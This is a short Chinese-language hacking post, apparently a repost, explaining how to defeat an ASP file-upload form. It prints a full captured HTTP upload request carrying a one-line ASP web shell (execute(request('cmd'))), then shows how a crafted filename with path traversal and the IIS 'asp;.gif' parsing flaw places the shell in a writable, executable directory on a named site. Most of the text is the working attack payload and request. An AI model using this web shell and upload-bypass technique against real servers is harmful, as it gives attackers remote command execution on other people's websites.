方法不错,首先就是不强制改上传文件名。还有就是上传目录没有执行的权限。
然后用这方法貌似就可以上传到上级可写目录了。
比如抓这是抓的上传数据包:
POST /upload/upfile.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.2cto.com /upload/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=—————————7da290150c5e
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.tmdsb.com
Content-Length: 448
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN
—————————–7da290150c5e
Content-Disposition: form-data; name=”act”
upload
—————————–7da290150c5e
Content-Disposition: form-data; name=”file1″; filename=”d:/www/tmdsb/web/tmdsb.asp;.gif”
Content-Type: text/plain
<%execute(request("cmd"))%>
—————————–7da290150c5e
Content-Disposition: form-data; name=”Submit”
up
—————————–7da290150c5e–
然后看关键是:
Content-Disposition: form-data; name=”file1″; filename=”d:/www/tmdsb/web/tmdsb.asp;.gif”
我首先呢。 filename他是如何判断 那个开始就是文件名呢?
他是判断filename里的最右边的一个”/”以后的就是文件名字了。
大家因该知道。 在windows下 “/” 和 “/” 是不分家的。
假设上传之后的目录为upload/
然后一个可以执行可以写的目录为 tmdsb/
那么我们只要构造
Content-Disposition: form-data; name=”file1″; filename=”d:/www/tmdsb/web/./../tmdsb/tmdsb.asp;.gif”
上传的文件就成功的传进去了 tmdsb/tmdsb.asp;.gif了。
当然还要配合IIS漏洞才行(在只能上传图片的情况下)要是直接能上传asp的话就
没所谓了。by www.sb-sb.cn